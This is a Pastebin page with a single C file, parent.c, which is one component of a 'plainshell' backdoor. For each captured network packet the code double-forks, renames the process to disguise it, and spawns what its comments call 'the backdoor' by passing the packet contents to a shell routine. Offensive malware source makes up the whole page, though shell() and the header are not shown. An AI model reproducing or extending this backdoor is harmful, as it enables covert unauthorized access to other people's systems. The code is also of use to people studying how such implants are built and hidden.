Advertisement
FlyFar

parent.c

Jan 20th, 2024
543
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.09 KB | Cybersecurity | 0 0
  1. /*
  2.  * parent.c
  3.  * Parent in the child-parent comms pair
  4.  * By J. Stuart McMurray
  5.  * Created 20160319
  6.  * Last Modified 20160319
  7.  */
  8.  
  9. #include "plainshell.h"
  10.  
  11. /* handle takes a packet, and double-forks off a handler for it. */
  12. void handle(u_char *name, const struct pcap_pkthdr *hdr, const u_char *pkt) {
  13.         int ret;
  14.  
  15.         /* Fork a parent */
  16.         ret = fork();
  17.         switch (ret) {
  18.                 case -1: /* Couldn't fork */
  19.                         err(5, "fork");
  20.                 case 0: /* Child */
  21.                         break;
  22.                 default: /* Parent */
  23.                         exit(0);
  24.         }
  25.  
  26.         /* Change our name to something better */
  27.         *((char**)name) = SHNAME;
  28.  
  29.         /* Fork a child.  This is the backdoor */
  30.         ret = fork();
  31.         switch (ret) {
  32.                 case -1: /* Couldn't fork */
  33.                         err(6, "fork");
  34.                 case 0: /* Child */
  35.                         shell(pkt, hdr->caplen);
  36.                 default: /* Parent */
  37.                         break;
  38.         }
  39.         return;
  40. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement